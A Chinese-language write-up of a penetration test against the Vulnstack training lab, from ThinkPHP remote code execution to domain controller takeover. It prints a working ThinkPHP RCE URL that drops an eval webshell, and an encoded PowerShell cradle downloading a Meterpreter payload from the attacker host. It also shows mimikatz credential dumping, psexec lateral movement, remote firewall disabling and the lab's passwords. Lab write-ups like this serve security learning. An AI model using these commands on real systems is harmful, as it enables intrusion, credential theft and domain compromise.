typora-root-url: pic
声明
好好学习,天天向上
环境配置
下载地址,直接进去用百度云,没有会员也下的非常快
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
边下载着,可以开始vmware的网络配置
有两个网段,外网网段是我自己设置的桥接模式192.168.31.1/24,内网网段,vmware加一个网卡VMnet4,192.168.138.1/24
和前面的大同小异,我这里就不细说了看过系列文章的应该都已经很清楚这种网络结构了,我直接贴图吧
桥接的就是攻击机与边界服务器的网卡
新增的VMnet4的138段就是内网的和边界服务器的第二张网卡
下载完后,一共两台服务器,分别打开,注意,win7的外网IP,作者已经改成手动135.150了,我们需要登录进去win7,把wk1网卡改成自动获取
网络配好后,可以开机登录看看网络
win7
sun\heart 123.com
sun\Administrator dc123.com
2008
sun\admin 2020.com
网络拓扑图
网络配好了,IP也都获取了,kali总是ping不通win7的,都是31网段,怎么会ping不通,而且kali的arp-scan也能扫到229,百度了一下,一看win7的防火墙开着,没办法,只能先关掉了
win7别忘了开启phpstudy!!!
环境配置完毕
战斗
Web渗透
信息收集
kali扫描存活
arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24
扫描详细信息
nmap -T4 -A 192.168.31.229 -p 1-65535 -oN nmap.A
开了很醒目的80,这不得赶紧试试看?
Shell
访问,熟悉的thinkphp,之前写的thinkphp反序列化,快把我写吐了!这个界面也看出心理阴影了!
http://192.168.31.229
一般来说,给出这个框架或者CMS,都是有漏洞的,不然你怎么打进去?
但是也不妨碍我们扫描一下目录吧,因为没有思路的时候一般就是目录扫描
python3 dirsearch.py -u http://192.168.31.229
发现了一个可疑的add.php
访问
http://192.168.31.229/add.php
怎么看着像个登录页面,但是只需要输入密码,仔细一想,这个不就和我们平时上传的木马webshell很像吗
那这谁知道密码啊?算了还是上msf看看吧,先看看这个tp的版本,5.0.22
searchsploit thinkphp
好像就第四个可以对的上
看一下msf大佬儿们怎么说的
cat /usr/share/exploitdb/exploits/php/webapps 46150.txt
直接试试第四个吧,大佬就是大佬
http://192.168.31.229/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
那都执行php代码了,离上传webshell还远吗
http://192.168.31.229/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[whoami]);?>" > shell.php
http://192.168.31.229/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
不仅看到了shell.php还看到了刚刚的那个add.php
不管了,蚁剑连一下这个先
访问一下能访问到,就连接
http://192.168.31.229/shell.php
既然这样,我就康康刚刚那个add.php什么样子的,str变量应该是逻辑,然后password就是木马的密码
看网上说这个str解出来看,密码使用md5加密的,那就把这个password用md5解出看看
登录康康,牛啊,大马
权限维持/提升
msf上线
生成木马
use exploit/multi/script/web_delivery
set target 2 # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.96
exploit
生成了一段powershell代码
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABZAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAFkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABZAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMAMQAuADkANgA6ADgAMAA4ADAALwBDADQAQgA0AFMAbABnAGUAMgAvAFYAWQBqAHcAMQBLAEUAcwBBADUAWQBWACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwAxAC4AOQA2ADoAOAAwADgAMAAvAEMANABCADQAUwBsAGcAZQAyACcAKQApADsA
利用蚁剑执行
拿到system
cs上线
内网渗透
信息收集
按照惯例,信息收集一波
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
收集过一波后,发现了内网网段138段,域为sun.com,以及一台域控DC,IP为192.168.138.138,当然,也能从cs的view上面看出
横向渗透
msf路由转发
run autoroute -s 192.168.138.0/24
run autoroute -p
kali开启代理
vim /etc/proxychains4.conf
sock5 127.0.0.1 1080
kali启动
nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &
把ew上传到win7上
upload /app/tools/ew-master/ew_for_Win.exe C:\\phpStudy\\PHPTutorial\\WWW\\public
win7连接kali
ew_for_Win.exe -s rssocks -d 192.168.31.96 -e 1234
接下来就开始域控的渗透,为什么要列两个工具呢,就是还是抱着学习的目的,把两块的基础都好好打扎实!
msf渗透
wiki模块抓取密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
报错了,这一看就是位数不对,mimikatz是32位,不能访问64位的,那就给迁移到64位
ps
migrate 348
再次执行
拿到域管理员的用户名和密码
administrator/DC123.com
kiwi_cmd sekurlsa::logonPasswords
利用Psexec登录域控
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass DC123.com
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
set lport 6666
run
执行失败了
服务启动超时,试试是不是防火墙,利用shell建立连接,关闭防火墙
net use \\192.168.138.138\ipc$ "dc123.com" /user:"administrator"
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start unablefirewall
再次连接
开启远程桌面
use post/windows/manage/enable_rdp
set session 3
run
代理连接3389
proxychains4 rdesktop 192.168.138.138
sun\administrator
DC123.com
cs渗透
利用mimikatz抓取密码
增加一个中转的listener
接下来就是开弄138
把生成的exe用蚁剑传送到win7上,利用win7进行中转拿shell
也不要忘了把PsExec64.exe也上传上去
https://download.sysinternals.com/files/PSTools.zip
我们win7的防火墙最开始已经被我关上了,所以。。。。很尴尬,这里不用放行我们上面开的8888,还是贴上命令
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=8888
上线域控
shell C:\phpStudy\PHPTutorial\WWW\public\PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p DC123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\tmp.exe
执行完后,我这边一直都不上线,于是用刚刚msf那个远程桌面进去看了一下,是在C:\windows下有个tmp.exe
我双击后,上线了
结果就是,这俩shell都没反应,我双击tmp才看到图中那个138上线了,但是这肯定不行,通过计划任务调用一下
建立ipc连接
shell net use \\192.168.138.138\ipc$ "DC123.com" /user:administrator
查看连接
shell net use
看一眼138的时间,然后,把现在时间加上2分钟做个计划任务,然后过了一会,上线了
net time \\192.168.138.138
shell at \\192.168.138.138 16:06:00 c:\windows\tmp.exe